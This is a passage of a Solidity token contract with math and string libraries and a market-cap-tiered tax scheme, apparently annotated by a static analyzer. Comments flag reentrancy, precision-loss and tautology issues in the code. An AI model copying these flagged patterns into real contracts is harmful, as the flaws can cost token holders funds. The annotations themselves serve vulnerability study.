(3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 086d9c2\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 75d52c1\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4689975\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 64bd602\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: daefdc1\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 41b8f60\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: fbe463b\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint) external view returns (address pair);\n\n function allPairsLength() external view returns (uint);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(\n uint80 _roundId\n )\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n\ncontract CURRENTMARKETCAP is Context, IERC20, Ownable {\n mapping(uint256 => string) internal belts;\n\n mapping(uint256 => uint256) internal milestones;\n\n mapping(uint256 => uint256) internal buyTaxGlobal;\n\n mapping(uint256 => uint256) internal sellTaxGlobal;\n\n mapping(address => uint256) internal userBelt;\n\n mapping(address => bool) internal hasBelt;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c039fc): CURRENTMARKETCAP.moneyUnicode should be constant \n\t// Recommendation for 5c039fc: Add the 'constant' attribute to state variables that never change.\n string private moneyUnicode = unicode\"💸\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ff63478): CURRENTMARKETCAP.arrowUnicode should be constant \n\t// Recommendation for ff63478: Add the 'constant' attribute to state variables that never change.\n string private arrowUnicode = unicode\" ➡ \";\n\n string private _name = unicode\"💸Current_Marketcap ➡ 0$\";\n\n string private _symbol = unicode\"💸CM ➡ 0$\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 100000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 public constant maxBuyTax = 9;\n\n uint256 public constant maxSellTax = 9;\n\n uint256 private _taxFee = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e144fd8): CURRENTMARKETCAP._developerFund should be immutable \n\t// Recommendation for e144fd8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _developerFund = payable(msg.sender);\n\n\t// WARNING Optimization Issue (immutable-states | ID: fcd6a39): CURRENTMARKETCAP._marketingFund should be immutable \n\t// Recommendation for fcd6a39: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingFund = payable(msg.sender);\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n IUniswapV2Factory public constant uniswapV2Factory =\n IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n IERC20 public constant weth =\n IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n address public immutable CMARKETCAP;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9879a36): CURRENTMARKETCAP.uniswapV2Pair should be immutable \n\t// Recommendation for 9879a36: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n AggregatorV3Interface public constant priceFeedETHUSD =\n AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);\n\n bool private tradingOpen;\n\n bool private inTaxSwap;\n\n bool private inContractSwap;\n\n uint256 public maxSwap = 2000000 * 10 ** 9;\n\n uint256 public maxWallet = 2000000 * 10 ** 9;\n\n uint256 private constant _triggerSwap = 10 ** 9;\n\n modifier lockTheSwap() {\n inTaxSwap = true;\n\n _;\n\n inTaxSwap = false;\n }\n\n constructor() {\n CMARKETCAP = address(this);\n\n uniswapV2Pair = uniswapV2Factory.createPair(CMARKETCAP, WETH);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[CMARKETCAP] = true;\n\n _isExcludedFromFee[_developerFund] = true;\n\n _isExcludedFromFee[_marketingFund] = true;\n\n _approve(CMARKETCAP, address(uniswapV2Router), MAX);\n\n _approve(owner(), address(uniswapV2Router), MAX);\n\n milestones[0] = 0;\n\n buyTaxGlobal[0] = 9;\n\n sellTaxGlobal[0] = 0;\n\n milestones[1] = 10000;\n\n buyTaxGlobal[1] = 8;\n\n sellTaxGlobal[1] = 1;\n\n milestones[2] = 20000;\n\n buyTaxGlobal[2] = 7;\n\n sellTaxGlobal[2] = 2;\n\n milestones[3] = 30000;\n\n buyTaxGlobal[3] = 6;\n\n sellTaxGlobal[3] = 3;\n\n milestones[4] = 40000;\n\n buyTaxGlobal[4] = 5;\n\n sellTaxGlobal[4] = 4;\n\n milestones[5] = 100000;\n\n buyTaxGlobal[5] = 4;\n\n sellTaxGlobal[5] = 5;\n\n milestones[6] = 500000;\n\n buyTaxGlobal[6] = 3;\n\n sellTaxGlobal[6] = 6;\n\n milestones[7] = 1000000;\n\n buyTaxGlobal[7] = 2;\n\n sellTaxGlobal[7] = 7;\n\n milestones[8] = 2500000;\n\n buyTaxGlobal[8] = 1;\n\n sellTaxGlobal[8] = 8;\n\n milestones[9] = 5000000;\n\n buyTaxGlobal[9] = 0;\n\n sellTaxGlobal[9] = 9;\n\n _rOwned[_msgSender()] = _rTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3e231ef): CURRENTMARKETCAP.getETHUSDPrice() ignores return value by (None,answer,None,None,None) = priceFeedETHUSD.latestRoundData()\n\t// Recommendation for 3e231ef: Ensure that all the return values of the function calls are used.\n function getETHUSDPrice() public view returns (uint256) {\n\t\t// unused-return | ID: 3e231ef\n (, int256 answer, , , ) = priceFeedETHUSD.latestRoundData();\n\n return uint256(answer / 1e8);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4c27c71): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 4c27c71: Consider ordering multiplication before division.\n function getMarketCap() public view returns (uint256) {\n\t\t// divide-before-multiply | ID: 4c27c71\n uint256 poolValue = (weth.balanceOf(uniswapV2Pair) * getETHUSDPrice()) /\n 1e18;\n\n\t\t// divide-before-multiply | ID: 4c27c71\n uint256 poolPct = totalSupply() / balanceOf(uniswapV2Pair);\n\n\t\t// divide-before-multiply | ID: 4c27c71\n return (poolValue * poolPct) * 2;\n }\n\n function getETHUSDPriceFeed() external pure returns (address) {\n return address(priceFeedETHUSD);\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 96efd6e): CURRENTMARKETCAP.getCurrentBelt() contains a tautology or contradiction i >= 0\n\t// Recommendation for 96efd6e: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 9683810): CURRENTMARKETCAP.getCurrentBelt().currentBelt is a local variable never initialized\n\t// Recommendation for 9683810: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function getCurrentBelt() public view returns (uint256) {\n uint256 marketCap = getMarketCap();\n\n uint256 currentBelt;\n\n\t\t// tautology | ID: 96efd6e\n for (uint256 i = 9; i >= 0; i--) {\n if (marketCap >= milestones[i]) {\n currentBelt = i;\n\n break;\n }\n }\n\n return currentBelt;\n }\n\n function getNextBelt() public view returns (uint256) {\n uint256 currentBelt = getCurrentBelt();\n\n return currentBelt == 9 ? 9 : currentBelt + 1;\n }\n\n function getGlobalMaxBuyTax() external pure returns (uint256) {\n return maxBuyTax;\n }\n\n function getGlobalMaxSellTax() external pure returns (uint256) {\n return maxSellTax;\n }\n\n function getGlobalBuyTax() public view returns (uint256) {\n uint256 globalBuyTax = 9 - getCurrentBelt();\n\n return globalBuyTax > maxBuyTax ? maxBuyTax : globalBuyTax;\n }\n\n function getGlobalSellTax() public view returns (uint256) {\n uint256 globalSellTax = getCurrentBelt();\n\n return globalSellTax > maxSellTax ? maxSellTax : globalSellTax;\n }\n\n function getWalletHasBelt(address _wallet) external view returns (bool) {\n return hasBelt[_wallet];\n }\n\n function getWalletBelt(address _wallet) public view returns (uint256) {\n return hasBelt[_wallet] ? userBelt[_wallet] : getCurrentBelt();\n }\n\n function getWalletSellTax(address _wallet) public view returns (uint256) {\n uint256 globalSellTax = getGlobalSellTax();\n\n if (hasBelt[_wallet]) {\n uint256 userBelt_wallet = userBelt[_wallet];\n\n return\n globalSellTax > userBelt_wallet\n ? userBelt_wallet\n : globalSellTax;\n }\n\n return globalSellTax;\n }\n\n function getWalletMaxSellTax(\n address _wallet\n ) external view returns (uint256) {\n return hasBelt[_wallet] ? userBelt[_wallet] : maxSellTax;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ce6c70f): CURRENTMARKETCAP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ce6c70f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cce30e0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cce30e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7b6d643): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7b6d643: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cce30e0\n\t\t// reentrancy-benign | ID: 7b6d643\n _transfer(sender, recipient, amount);\n\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n\t\t// reentrancy-events | ID: cce30e0\n\t\t// reentrancy-benign | ID: 7b6d643\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function _removeTax() private {\n if (_taxFee == 0) {\n return;\n }\n\n\t\t// reentrancy-benign | ID: 5c243f1\n _taxFee = 0;\n }\n\n function _restoreTax() private {\n\t\t// reentrancy-benign | ID: 5c243f1\n _taxFee = 9;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f06f96f): CURRENTMARKETCAP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f06f96f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7b6d643\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cce30e0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dd65ec0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dd65ec0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5c243f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5c243f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bf850ae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bf850ae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e23cb69): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e23cb69: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"TOKEN: Transfer amount must exceed zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n from != CMARKETCAP &&\n to != CMARKETCAP\n ) {\n if (!tradingOpen) {\n require(\n from == CMARKETCAP,\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= maxSwap, \"TOKEN: Max Transaction Limit\");\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < maxWallet,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(CMARKETCAP);\n\n bool canSwap = contractTokenBalance >= _triggerSwap;\n\n if (contractTokenBalance >= maxSwap) {\n contractTokenBalance = maxSwap;\n }\n\n if (\n canSwap &&\n !inTaxSwap &&\n from != uniswapV2Pair &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n inContractSwap = true;\n\n\t\t\t\t// reentrancy-events | ID: dd65ec0\n\t\t\t\t// reentrancy-benign | ID: 5c243f1\n\t\t\t\t// reentrancy-no-eth | ID: bf850ae\n\t\t\t\t// reentrancy-eth | ID: e23cb69\n _swapCMARKETCAPForETH(contractTokenBalance);\n\n\t\t\t\t// reentrancy-no-eth | ID: bf850ae\n inContractSwap = false;\n\n\t\t\t\t// reentrancy-events | ID: dd65ec0\n\t\t\t\t// reentrancy-benign | ID: 5c243f1\n\t\t\t\t// reentrancy-eth | ID: e23cb69\n if (CMARKETCAP.balance > 0) _sendETHToFee(CMARKETCAP.balance);\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 5c243f1\n _taxFee = getGlobalBuyTax();\n\n if (!hasBelt[to]) {\n\t\t\t\t\t// reentrancy-benign | ID: 5c243f1\n userBelt[to] = getCurrentBelt();\n\n\t\t\t\t\t// reentrancy-benign | ID: 5c243f1\n hasBelt[to] = true;\n }\n\n\t\t\t\t// reentrancy-benign | ID: 5c243f1\n _refreshName();\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 5c243f1\n _taxFee = getWalletSellTax(from);\n\n if (!hasBelt[from]) {\n\t\t\t\t\t// reentrancy-benign | ID: 5c243f1\n userBelt[from] = getCurrentBelt();\n\n\t\t\t\t\t// reentrancy-benign | ID: 5c243f1\n hasBelt[from] = true;\n }\n\n\t\t\t\t// reentrancy-benign | ID: 5c243f1\n _refreshName();\n }\n }\n\n\t\t// reentrancy-events | ID: dd65ec0\n\t\t// reentrancy-benign | ID: 5c243f1\n\t\t// reentrancy-eth | ID: e23cb69\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function _refreshName() private {\n string memory currentMarketCap = Strings.toString(getMarketCap());\n\n string memory addCommaMarketCap = addCommasToString(currentMarketCap);\n\n\t\t// reentrancy-benign | ID: 5c243f1\n _name = string.concat(\n moneyUnicode,\n \"Current_MarketCap\",\n arrowUnicode,\n addCommaMarketCap,\n \"$\"\n );\n\n\t\t// reentrancy-benign | ID: 5c243f1\n _symbol = string.concat(\n moneyUnicode,\n \"CM\",\n arrowUnicode,\n addCommaMarketCap,\n \"$\"\n );\n }\n\n function _swapCMARKETCAPForETH(\n uint256 _amountCMARKETCAP\n ) private lockTheSwap returns (bool) {\n address[] memory path = new address[](2);\n\n path[0] = CMARKETCAP;\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: cce30e0\n\t\t// reentrancy-events | ID: dd65ec0\n\t\t// reentrancy-benign | ID: 7b6d643\n\t\t// reentrancy-benign | ID: 5c243f1\n\t\t// reentrancy-no-eth | ID: bf850ae\n\t\t// reentrancy-eth | ID: e23cb69\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _amountCMARKETCAP,\n 0,\n path,\n CMARKETCAP,\n block.timestamp + 3600\n );\n\n return true;\n }\n\n function _sendETHToFee(uint256 _amountETH) private returns (bool) {\n\t\t// reentrancy-events | ID: cce30e0\n\t\t// reentrancy-events | ID: dd65ec0\n\t\t// reentrancy-benign | ID: 7b6d643\n\t\t// reentrancy-benign | ID: 5c243f1\n\t\t// reentrancy-eth | ID: e23cb69\n (bool success, ) = payable(_marketingFund).call{value: _amountETH}(\"\");\n\n return success;\n }\n\n function enableTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function removeLimits() external onlyOwner {\n maxSwap = _tTotal;\n\n maxWallet = _tTotal;\n }\n\n function swapTokensForEthManual(\n uint256 _contractTokenBalance\n ) external returns (bool) {\n require(\n _msgSender() == _developerFund || _msgSender() == _marketingFund\n );\n\n return 